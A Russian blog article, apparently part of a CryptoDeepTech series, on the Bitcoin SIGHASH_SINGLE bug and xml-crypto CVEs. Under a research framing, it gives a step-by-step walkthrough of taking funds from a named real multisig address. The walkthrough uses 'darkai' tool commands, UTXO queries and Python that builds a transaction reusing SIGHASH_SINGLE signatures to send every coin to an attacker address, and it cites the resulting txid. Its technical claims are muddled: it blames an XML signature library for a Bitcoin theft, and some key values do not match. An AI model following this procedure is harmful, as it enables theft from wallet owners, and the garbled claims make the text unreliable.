При использовании SIGHASH_ALL подпись охватывает все входы и выходы транзакции, гарантируя, что ни один элемент транзакции не может быть изменён после подписания. Однако, если подпись сформирована некорректно, например, из-за ошибок в генерации случайного числа или формировании самих параметров подписи (r, s), это может привести к тому, что часть транзакции может быть изменена без аннулирования подписи. В частности, возникает уязвимость, при которой злоумышленник может изменить отдельные поля или структуру транзакции, создав вариации, которые принимаются сетью как валидные, но отличаются от оригинала.


Такая изменчивость подписи (Signature Malleability) позволяет злоумышленникам создавать альтернативные версии транзакции с другим идентификатором (txid), что затрудняет отслеживание и подтверждение оплат, а в некоторых случаях ведёт к повторному использованию тех же входов — т.е. к двойным расходам.


Кроме того, если реализация валидации подписей с SIGHASH_ALL не жестко проверяет корректность параметров подписи и формат данных, злоумышленник может выдавать фальшивые подписи или использовать баги протокола для обхода проверок. Это оставляет открытую возможность для манипуляций и создания конфликтных транзакций.

Таким образом, чтобы снизить риски двойных расходов, критически важно правильно генерировать и валидировать подписи с SIGHASH_ALL, применять методы защиты от signature malleability (например, SegWit), а также обновлять программное обеспечение и соблюдать рекомендации по безопасности. Это обеспечивает закрепление подписи на всей структуре транзакции, гарантирует её неизменность и устойчивость к злоупотреблениям.


Получим информацию о публичных ключах, связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. Далее представлен подробный и содержательный разбор полученных данных.


!./darkai -pubkey 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Полученные публичные ключи:

В результате работы команды был извлечён список из трёх публичных ключей в сжатом формате (compressed public key), представленных в шестнадцатеричном виде:

pubkey = [
'023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d9f359e37e39f0561196',
'03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80',
'03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df'
]


  • Публичные ключи: Каждый из элементов — это публичный ключ пользователя в формате compressed public key длиной 33 байта. Сжатые ключи обычно начинаются с префикса 02 или 03, указывая на знак координаты точки (Y) на эллиптической кривой, и за ним следует 32 байта X-координаты.

  • Связь с адресом: Адрес Bitcoin — это хэш от скрипта или публичного ключа. В данном случае адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe соответствует некоторому P2SH (Pay-to-Script-Hash) или мультиподписному адресу, для которого характерно хранение сразу нескольких публичных ключей в redeemScript. Список публичных ключей соответствует набору, заложенному в этом сафе.


Набор из нескольких публичных ключей — классическая ситуация для мультиподписного кошелька (multisig wallet). В таком случае чтобы потратить средства потребуется несколько подписей от соответствующих приватных ключей:


  • Данный список публичных ключей позволяет определить, какие ключи имеют право подписывать транзакции с этим адресом.

  • Обычно мультиподпись формируется по схеме M-of-N, например, 2 из 3, где N — общее количество ключей, а M — минимальное число необходимых подписей для расходования.


  • Использование нескольких ключей повышает безопасность, т.к. компрометация одного ключа не приводит к утрате контроля над средствами.

  • Каждый публичный ключ можно проверить отдельно или в комбинации, чтобы подтвердить законность подписей.



Сжатые публичные ключи

  • Принцип сжатия позволяет уменьшить длину публичного ключа с 65 байт (не сжатый формат) до 33 байт, что экономит место в транзакциях и блоках.

  • Сжатый ключ содержит информацию о X-координате точки на эллиптической кривой и знак Y-координаты.


Применение в redeemScript

  • В контексте мультиподписи эти публичные ключи обычно включены в redeemScript, который применяется в P2SH-сценариях.

  • Для подтвердить право траты средств необходимо предоставить подписи, соответствующие минимально необходимому количеству ключей из этого набора.


Биткоин адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe связан с тремя конкретными публичными ключами в формате сжатых ключей. Это типично для мультиподписных биткоин-адресов, где для авторизации расхода необходимо предоставить подписи с использованием некоторых или всех этих ключей, что обеспечивает высокий уровень безопасности и гибкость управления средствами.


Для более глубокого анализа и понимания параметров можно дополнительно изучить:

  • Конкретный формат redeemScript, с которым связан этот набор приватных и публичных ключей.

  • Политику подписей (сколько подписей из этих трёх требуется).

  • Историю транзакций, связанных с этим адресом.

Публичные ключи 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Публичный ключ 023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196 является одним из элементов, используемых в мультиподписном кошельке BitPay Copay, который был целью атаки, связанной с уязвимостью в обработке типа подписи SIGHASH_SINGLE

Этот публичный ключ, вместе с двумя другими (03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 и 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df), входит в состав redeemScript кошелька Copay, который является кошельком с мультиподписью «2 из 3«. Для траты средств с такого адреса необходимо предоставить две действительные подписи и сам redeemScript.

RedeemScript, который содержит эти три публичных ключа, при декодировании даёт следующие инструкции: 2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG. Это означает, что для проверки мультиподписи требуется две подписи из трёх возможных ключей. OP_CHECKMULTISIG проверяет каждую пару подписи и публичного ключа на достоверность, чтобы все подписи соответствовали одному из публичных ключей. Инструкция OP_FALSE в scriptSig требуется из-за известной ошибки, при которой OP_CHECKMULTISIG удаляет лишнее неиспользуемое значение из стека.


Кошелек Copay, разработанный BitPay, подвергся атаке, подробности которой были раскрыты компанией Coinspect. Эта атака эксплуатировала особенности типа подписи SIGHASH_SINGLE, который подписывает только соответствующий вход и выход (выход с тем же порядковым номером, что и вход). Если выход с таким индексом не существует, в качестве хэша транзакции будет возвращено целочисленное значение «один», что является известным багом, где OP_CHECKMULTISIG проводит проверку подлинности двух подписей из трёх публичных ключей.


Этот мультиподписной набор оказался в центре внимания из-за уязвимости, выявленной компанией Coinspect. Уязвимость связана с особенностями использования в транзакциях типа подписи SIGHASH_SINGLE (0x03), при котором подпись охватывает все входы и ровно один выход транзакции с индексом, совпадающим с индексом входа. Важно отметить если выход с таким индексом отсутствует (а в некоторых случаях их меньше, чем входов), из-за бага Bitcoin хэш для подписи возвращается в виде целого числа «1». Это позволяет создавать транзакции, расходующие выходы без знания приватных ключей, что открывает дверь для кражи средств из мультиподписного кошелька.


Мультиподписный кошелек <a href="https://pikabu.ru/story/kak_uyazvimosti_cve202529774_i_bag_sighash_single_ugrozhayut_multipodpisnyim_koshelkam_seti_bitkoin_s_poddelnyimi_rawtx_chast_3_12995204?u=https%3A%2F%2Fhabr.com%2Fru%2Farticles%2F751734%2F&t=BitPay%20Copay&h=2c9f63cdc2859b42b1b6def323f9e289ab48bb84" title="https://habr.com/ru/articles/751734/" target="_blank" rel="nofollow noopener">BitPay Copay</a> был целью атаки, иллюстрирующий важность подделки цифровой подписи <a href="https://pikabu.ru/story/kak_uyazvimosti_cve202529774_i_bag_sighash_single_ugrozhayut_multipodpisnyim_koshelkam_seti_bitkoin_s_poddelnyimi_rawtx_chast_3_12995204?u=https%3A%2F%2Fcryptodeeptech.ru%2Fdigital-signature-forgery-attack%2F&t=Digital%20Signature%20Forgery%20Attack&h=0f7d7c768ac50e2f0da146f2addd4b38cbd97e09" title="https://cryptodeeptech.ru/digital-signature-forgery-attack/" target="_blank" rel="nofollow noopener">Digital Signature Forgery Attack</a>

Мультиподписный кошелек BitPay Copay был целью атаки, иллюстрирующий важность подделки цифровой подписи Digital Signature Forgery Attack


Таким образом, публичный ключ 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 является ключевым компонентом уязвимого мультиподписного кошелька Copay, участие которого в составном redeemScript дает определённые преимущества с точки зрения безопасности, но вместе с тем стал объектом экспериментов и атак, иллюстрирующих важность корректной обработки всех типов подписей в Bitcoin.



Выполним команду в котором получим обработанные две цифровые подписи в формате DER, ассоциированные с указанным Биткоин-адресом:

!./darkai -decodesig 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe


В итоге мы извлекаем результат:

decodesig = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]



Расшифровка цифровых подписей

В переменной sigs хранятся две расшифрованные подписи, полученные через функцию der_decode_sig из их DER-кодированной формы:

  1. Первая подпись:

3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903

  1. Вторая подпись:

304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803

Формат DER (Distinguished Encoding Rules) — стандартный способ кодирования структур для ECDSA-подписей в Bitcoin, который гарантирует уникальное и корректное представление параметров подписи r и s.



Уязвимость SIGHASH_SINGLE и ее суть

Проблема возникает, когда в транзакции число входов превышает число выходов. В этом случае для входа, чей индекс превышает последний номер выходов, отсутствует соответствующий выход, который мог бы подписать SIGHASH_SINGLE.

На практике реализация Bitcoin допускает ошибочное поведение — возвращается константа с числом один (int 1) вместо хеша транзакции. Это эквивалентно тому, что для подписи вместо вычисляемого хеша берётся фиксированное значение. Из-за этого злоумышленник может подделать scriptSig и использовать действительные подписи из другой транзакции для входов с отсутствующими выходами, повторно расходуя средства без знания приватных ключей.


Иными словами, атака позволяет создать транзакцию с одним выходом под контролем злоумышленника, расходуя входы из целевых транзакций, даже несмотря на отсутствие приватных ключей для подписи исходных выходов. Эта «повторная» подпись scriptSig становится легитимной для сети, что приводит к краже монет BTC.


Кошелек Copay — стал одним из первых выявленных жертв криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack). Анализ состояния транзакций показал, что:

  • Использование SIGHASH_SINGLE позволяло злоумышленникам контролировать средства, распределённые на мультиподписном кошельке 2 из 3.

  • Это означало, что два входа транзакций с индексами больше, чем количество выходов, могли быть фактически потрачены без приватных ключей.

  • Кража происходила путём создания транзакции с единственным выходом на контролируемый злоумышленником адрес.



Пути минимизации угрозы и дальнейшее развитие протокола

  1. Изоляция скриптов и виртуальная машина
    Предлагались решения по выделению отдельных виртуальных сред для мультиподписных кошельков, чтобы ограничить сферу воздействия возникающих уязвимостей.

  2. Использование SIGHASH_ANYONECANPAY
    Этот дополнительный флаг позволяет более гибко регулировать, какие именно входы подпадают под подпись, что снижает риски неправильного связывания транзакций.

  3. Softfork и внедрение новых sighash-флагов
    Современные предложения, такие как SIGHASH_NOINPUT и технические обновления для протокола, позволяют улучшить безопасность и гибкость транзакций второго уровня, например, в Lightning Network (LN-Symmetry, Eltoo).

  4. Переход на схему подписей Шнорра и обновление Taproot
    Новые криптографические методы обеспечивают более надёжную и компактную защиту подписей и позволяют эффективнее реализовывать мультиподписи с минимальными уязвимостями.


Проблема с SIGHASH_SINGLE выявила критический недостаток в механизме подписей Bitcoin, раскрывающий возможность краже средств за счёт повторного использования подписей на входах без соответствующих выходов. Эта уязвимость стала важным уроком и толчком к развитию протокола, стимулируя разработчиков к внедрению более надёжных стандартов. Современные разработки в области Bitcoin, такие как новые sighash-флаги, softfork-обновления, Lightning Network и переход на более безопасные схемы подписей, направлены на предотвращение подобных атак и повышение безопасности пользователей.


Понимание такого уровня технических деталей крайне важно для разработчиков, операторов кошельков и экспресс-аналитиков, работающих с криптовалютами, чтобы обеспечить уверенную защиту активов в постоянно развивающемся пространстве блокчейн-технологий.


Неизрасходованные транзакционные выходы монет на Биткоин Адрес под контроль злоумышленника

Выполним команду, чтобы получить информацию о неизрасходованных выходах транзакций (UTXO), находящихся под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

!./darkai -unspent 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3


Полученный результат:

В выводе содержится список из одного объекта, описывающего конкретный неизрасходованный транзакционный выход (output):

{
"output": "23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1",
"value": 300000
}



1. Неизрасходованный транзакционный выход (UTXO)

  • UTXO — это «Unspent Transaction Output«, то есть выход транзакции, который ещё не потрачен и доступен для использования в новых транзакциях.

  • В Bitcoin-сети средства хранятся именно в таких выходах.

  • Каждая транзакция имеет один или несколько выходов, каждый из которых может содержать определённое количество сатоши — наименьших единиц Bitcoin.


2. Структура вывода

  • output — строка, состоящая из двух частей:

    • 23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161 — это txid, идентификатор транзакции, в которой был создан этот выход.

    • :1 — индекс конкретного выхода (output index) в транзакции. В данном случае это второй выход, поскольку индексация начинается с нуля.

  • value — значение выхода:

    • 300000 — объем средств в сатоши.

    • Перевод в биткоины: 300000 сатоши = 0.003 BTC



3. Значение для владельца адреса

  • Данный UTXO находится под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

  • Это значит, что данный пользователь или кошелек имеет право создать транзакцию, используя эти 0.003 BTC из указанного выхода.

  • Доступ к использованию UTXO осуществляется путём создания входа (input) в новой транзакции, указывающего этот output в качестве источника средств, и предоставления корректной подписи.


4. Практическое применение

  • Анализ и учёт UTXO позволяет:

    • Оценить баланс адреса.

    • Оптимизировать создание новых транзакций — например, выбирать UTXO для минимизации комиссий.

    • Обеспечить правильную агрегацию и расходование средств, избегая ошибок при подписании транзакций.


  • Формировании новых транзакций с использованием этих UTXO;

  • Оптимизации выбора выходов для экономии на комиссиях;

  • Анализе других транзакций и адресов;


Команда ./darkai -unspent успешно выявила и вернула один законный неизрасходованный выход транзакции, который контролируется указанным биткоин-адресом. Объем доступных средств равен 0.003 BTC. Данный результат является актуальным состоянием бюджета владельца данного Биткоин адреса и служит основой для формирования и отправки будущих транзакций с использованием этих средств.


Неизрасходованные результаты транзакций к целевому Биткоин Адресу: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Запустим команду и получим данные о неизрасходованных выходах транзакций (UTXO), связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe которые содержат в себе определенные денежные средства в монетах BTC.

!./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe


Целевой адрес для атаки подделки цифровой подписи (Digital Signature Forgery Attack):

32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe



Расшифровка данных и каждого элемента:

1. Первый UTXO

  • Transaction ID (txid): 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

  • Output index: 0 (первый выход из транзакции)

  • Значение: 677200 сатоши

Перевод в биткоины:677200/100000000 = 0.006772BTC


2. Второй UTXO

  • Transaction ID (txid): bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

  • Output index: 0

  • Значение: 5000000 сатоши

Перевод в биткоины: 5000000/100000000 = 0.05BTC


Важно знать что, UTXO (Unspent Transaction Output) — это единичный выход ранее совершённой транзакции, который ещё не был использован для создания новой транзакции. Другими словами, это оставшиеся на счёте средства, которые можно потратить в будущем.


  • Каждый UTXO содержит информацию, сколько сатоши на него приходится и из какой транзакции он произошёл.

  • Чтобы потратить средства, необходимо использовать UTXO в качестве входа (input) в новой транзакции.

  • Размеры UTXO влияют на сумму, которую можно потратить и на комиссию в сети.


  1. Суммарный баланс адреса

С учётом приведённых данных суммарный баланс данного адреса составляет: 0.006772+0.05=0.056772BTC0.006772 + 0.05 = 0.056772BTC

Эти средства доступны владельцу адреса для последующих транзакций.

  1. Выбор UTXO для транзакций

  • При создании новой транзакции кошелёк выбирает из списка UTXO, какие именно использовать, чтобы покрыть требуемую сумму и комиссию.

  • Иногда выгодно использовать несколько мелких UTXO или один крупный — в зависимости от ситуации и оптимизации комиссий.


Команда ./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe выявила два неизрасходованных выхода транзакции (UTXO), контролируемых указанным биткоин-адресом. Совокупный объём доступных средств — около 0.05677 BTC, что отражает текущее состояние баланса и доступные к расходованию активы. Эти данные являются ключевыми для любого процесса управления средствами: создания новых транзакций, учета баланса, оптимизации комиссий и обеспечения безопасности работы с криптовалютой.


Сценария создания и подписания транзакции Bitcoin с использованием мультиподписных выходов и SIGHASH_SINGLE

Рассмотрим обширный пример работы с Bitcoin-транзакциями на практике — начиная от получения неизрасходованных выходов (UTXO) нескольких адресов, формирования новой транзакции с использованием этих выходов, подписания входов транзакции с применением типа подписи SIGHASH_SINGLE, и заканчивая итогом — передачей всех BTC на определённый адрес. Особое внимание уделяется техническим деталям, которые важны для понимания уязвимостей и особенностей работы Bitcoin-клиентов с мультиподписными сценариями.

1. Получение неизрасходованных выходов (UTXO) для адресов

1.1. Биткоин адрес злоумышленника для присвоение денежных средств в монетах BTC:

addr = '1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'
unspent(addr)
# Conclusion:
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]

  • Здесь содержится один выход, который не потрачен и доступен для использования.

  • Значение: 300000 сатоши (0.003 BTC).


  • На входы добавляются все три неизрасходованных выхода (UTXO) с обоих адресов.

  • Для выхода выбран Биткоин Адрес 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3, куда будут отправлены все средства за вычетом комиссии.

outs = [{'address': addr, 'value': amount}]


3. Создание и подписание транзакции

3.1. Сборка новой транзакции (без подписей):

tx = mktx(ins, outs)


3.2. Подписание первого входа с использованием приватного ключа:

tx = sign(tx, 0, priv)
tx = deserialize(tx)


3.3. Вручную подставляем scriptSig для входов с использованием SIGHASH_SINGLE подписей:

tx['ins'][1]['script'] = '0048...53ae' # signing input 1 with multi-signature (SIGHASH_SINGLE)
tx['ins'][2]['script'] = '0048...53ae' # similar for input 2

  • Эти scriptSig содержат две подписи, каждая из которых подписывает только свой соответствующий вход и соответствующий (один) выход (SIGHASH_SINGLE).

  • В дополнение в scriptSig включён redeemScript с тремя публичными ключами мультиподписного кошелька.


4. Итоговая сериализация транзакции и отправка

!./darkai -serialize 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe



Эта транзакция тратит все три входа и отправляет средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3


Итоговый результат:

tx = [{'791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf'}]


При этом фактически все BTC (в том числе с целевого адреса) были переведены под контроль одного адреса.


<a href="https://pikabu.ru/story/kak_uyazvimosti_cve202529774_i_bag_sighash_single_ugrozhayut_multipodpisnyim_koshelkam_seti_bitkoin_s_poddelnyimi_rawtx_chast_3_12995204?u=https%3A%2F%2Fbtc1.trezor.io%2Ftx%2F791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf&t=791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf&h=7964e2210f7e91ce56a6be89e23331bc55607c54" title="https://btc1.trezor.io/tx/791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf" target="_blank" rel="nofollow noopener">791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf</a>

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf



Даже при наличии мультиподписных сценариев (2 из 3), зная эту уязвимость, злоумышленник может эффективно похитить средства, создавая транзакции с едва ли заметными модификациями, используя SIGHASH_SINGLE. Указанный пример иллюстрирует такую атаку: собираются входы из нескольких Биткоин адресов (включая целевой), формируется транзакция с одним выходом к атакующему, и при этом транзакция валидируется.


<a href="https://pikabu.ru/story/kak_uyazvimosti_cve202529774_i_bag_sighash_single_ugrozhayut_multipodpisnyim_koshelkam_seti_bitkoin_s_poddelnyimi_rawtx_chast_3_12995204?u=https%3A%2F%2Fbtc1.trezor.io%2Ftx%2F791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf&t=791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf&h=7964e2210f7e91ce56a6be89e23331bc55607c54" title="https://btc1.trezor.io/tx/791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf" target="_blank" rel="nofollow noopener">791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf</a>

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf


По данным были отправлены средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 , где при помощи обработки не обновленной библиотеки xml-crypto для некорректных значении данных были совершенный манипулятивные транзакции из Биткоин кошелька: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , где в последствии были потерянный монеты на сумму: 0.059672 BTC на июль 2025 года эта сумма составляет: 7,052 USD


<a href="https://pikabu.ru/story/kak_uyazvimosti_cve202529774_i_bag_sighash_single_ugrozhayut_multipodpisnyim_koshelkam_seti_bitkoin_s_poddelnyimi_rawtx_chast_3_12995204?u=https%3A%2F%2Fbtc1.trezor.io%2Faddress%2F1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3&t=1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3&h=7895cc2530c745f4cf7760251f3120eced10c2f9" title="https://btc1.trezor.io/address/1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3" target="_blank" rel="nofollow noopener">1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3</a>

1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3


Заключение

В результате криптоанализа криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack) становится очевидным, что несмотря на высокую надежность базовых криптографических алгоритмов, такие уязвимости, как CVE-2025-29774 и CVE-2025-29775 в библиотеке xml-crypto и баг SIGHASH_SINGLE в протоколе Bitcoin, открывают злоумышленникам эффективные способы обхода механизмов аутентификации и кражи криптовалюты без приватных ключей. На примере атаки на мультиподписной кошелек Copay показано, как тонкости реализации криптографии и ошибки в проверке подписей приводят к потере средств и подрыву доверия к безопасности блокчейна.

Это четко демонстрирует, что устойчивость криптоплатформ зависит не только от криптографических алгоритмов, но и от правильной реализации и своевременного обновления компонентов, участвующих в проверке цифровых подписей.

  • Безопасная процесс с Bitcoin требует корректного использования типов подписи SIGHASH.

  • Как из UTXO нескольких адресов формируется совокупная входящая часть новой транзакции.

  • Как создаётся и подписывается сложная мультиподписная транзакция с использованием флага SIGHASH_SINGLE.

  • Как из-за известных особенностей Bitcoin протокола можно столкнуться с уязвимостью, ведущей к краже средств.

  • Как итоговый результат: все BTC адресов оказались переведены на один контролируемый адрес.

  • Внедрение улучшений в сигнатуры (например, Taproot и подписи Шнорра) направлено на устранение подобных проблем.

  • Разработчики кошельков должны строго валидировать и обновлять компоненты формирования транзакций.

Для предотвращения подобных инцидентов необходимо немедленно устранять выявленные уязвимости, переходить на более безопасные алгоритмы (например, с SHA-1 на SHA-256), а также вводить комплексные методы оценки и усиления кибербезопасности, так как в эпоху стремительно развивающихся технологий и новых видов атак безопасность криптовалютных систем требует постоянного мониторинга, быстрого реагирования и комплексного подхода — только тогда можно будет гарантировать защиту цифровых активов и сохранить доверие пользователей к блокчейну.

Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

Показать полностью 16 1
2

Как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам сети Биткоин с поддельными RawTX: [Часть №2]

Продолжим вторую часть данной статье в первой части статьи подробно раскрывается важная криптографическая угроза — Digital Signature Forgery, которая представляет значительную опасность для безопасности Bitcoin-транзакций. Исследование включает глубокий анализ действительных инцидентов, среди которых рассматривается масштабная атака на мультиподписной кошелек Copay. Особое внимание уделяется уязвимостям в цифровых подписях и широко применяемой библиотеке xml-crypto, что позволяет злоумышленникам эксплуатировать слабые места в верификации транзакций.

Статья фокусируется на двух значимых проблемах безопасности: уязвимостях CVE-2025-29774 и CVE-2025-29775. Описан механизм, при котором атакующий, используя устаревшие версии библиотеки xml-crypto, способен обойти ключевые проверки, приводя к некорректной обработке транзакционных данных и риску утраты активов. Подробно рассмотрено, как теоретические аспекты эффективно реализуются на практике — включая конкретный пример взлома биткоин-кошелька 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, в результате которого в июле 2025 года были утрачены средства на сумму 0.059672 BTC (около 7,052 долларов США).

В материале предложены авторитетные рекомендации по усилению кибербезопасности криптовалютных платформ. Описаны современные методы предотвращения подобных атак, включая регулярное обновление библиотек, улучшение контроля цифровых подписей и внедрение дополнительных уровней верификации. Такой детальный разбор кейса и анализ развития угроз актуален для специалистов по информационной безопасности, разработчиков блокчейн-технологий и рядовых пользователей децентрализованных сервисов.

Понимание современных способов обхода защитных механизмов, а также следование представленным советам помогает минимизировать риски финансовых потерь и повысить устойчивость платформ к новым видам атак в быстро меняющемся цифровом мире.

Как работает структура выходного скрипта P2SH?

Рассмотрим указанный в результате десериализации скрипт:

OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL

Этот скрипт отличается от стандартного P2PKH тем, что вместо хэша публичного ключа в нем хранится хэш скрипта погашения (redeemScript) — набора условий, под которыми средства могут быть потрачены.

  • OP_HASH160 — хеширует данные (в данном случае redeemScript) сначала алгоритмом SHA-256, а затем RIPEMD-160.

  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хэш redeemScript.

  • OP_EQUAL — проверяет, равен ли предоставленный redeemScript этому хэшу.


Процесс тратты средств по P2SH-выходу

Чтобы потратить такие средства, необходимо в входах (scriptSig) транзакции, ссылающейся на этот выход, передать:

  1. Сериализованный redeemScript — исходный скрипт, условия которого закодированы в хэше.

  2. Данные разблокировки — подписи или другие доказательства, которые удовлетворяют условиям redeemScript.

При обработке транзакции узлы сети:

  • Хешируют redeemScript и сверяют с указанным в output хэшем.

  • Если хэши совпадают (то есть OP_EQUAL возвращает true), то redeemScript десериализуется и выполняется.

  • Транзакция признаётся действительной, если redeemScript выполняется корректно, т.е. все условия траты выполняются.

Таким образом, P2SH переносит ответственность за представление и проверку условий траты с отправителя (который создает требуемый скрипт) на того, кто тратит средства.


Преимущества и значение выбора такого механизма

1. Гибкость и сложные сценарии

P2SH позволяет создавать адреса с произвольными, часто многоуровневыми условиями — например, требование мультиподписей (2 из 3, 3 из 5 и т.д.), временные ограничения, логику распределения и многое другое. При этом отправитель просто отправляет средства на компактный хэш адрес, не вдаваясь в технические детали.


2. Экономия места

Вместо хранения полного скрипта в блокчейне, в транзакции хранится лишь его хэш. Это снижает нагрузку на сеть, уменьшает размер блоков и ускоряет проверку транзакций.


3. Повышение безопасности

Так как redeemScript раскрывается и проверяется только во время траты средств, это увеличивает конфиденциальность условий и усложняет попытки несанкционированного доступа. Использование криптографических хеш-функций гарантирует защиту от подделки и изменений — любое небольшое отклонение в скрипте приведёт к другому хэшу и отказу сети принять транзакцию.


4. Удобство для пользователей и программистов

P2SH стандартизирует и упрощает использование сложных смарт-контрактов в Bitcoin, упрощая интеграцию и повышая совместимость с множеством кошельков и сервисов.


Пример применения: мультиподписные кошельки

Классический пример — кошелек, который требует подписи двух из пяти участников для проведения транзакции. С помощью P2SH:

  • В выходе указан хэш соответствующего скрипта.

  • Чтобы потратить средства, нужно передать полный сценарий включения мультиподписи в scriptSig с подписями.

  • Сеть проверяет соответствие хэшей и валидность подписей.

Это делает P2SH идеальным инструментом для корпоративных счетов, совместных хозяйств и других случаев, где требуется контроль доступа. Механизм Pay-to-Script-Hash (P2SH) является фундаментальной частью архитектуры Bitcoin, обеспечивая баланс между:

  • Безопасностью (защита средств с помощью строгих условий и криптографии),

  • Эффективностью (хранение только хеша, а не всех деталей),

  • Гибкостью (поддержка любых, даже сложных условий траты),

  • Удобством (простой формат адреса и стандарт доступа).


Криптоанализ извлечения первого входа транзакции (ins)

Запустим команду с целью получение информации об одном из входов (input) транзакции с хэшем 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. Анализ такого входа важен для понимания механизма авторизации расхода средств на уровне скриптов.

!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132


Результат извлечения первого входа транзакции (ins) представлен в следующем виде:

{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}


1. Подробный разбор компонентов ScriptSig (script)

  • Значение поля script — это scriptSig, который используется для разблокировки соответствующего предыдущего выхода транзакции.

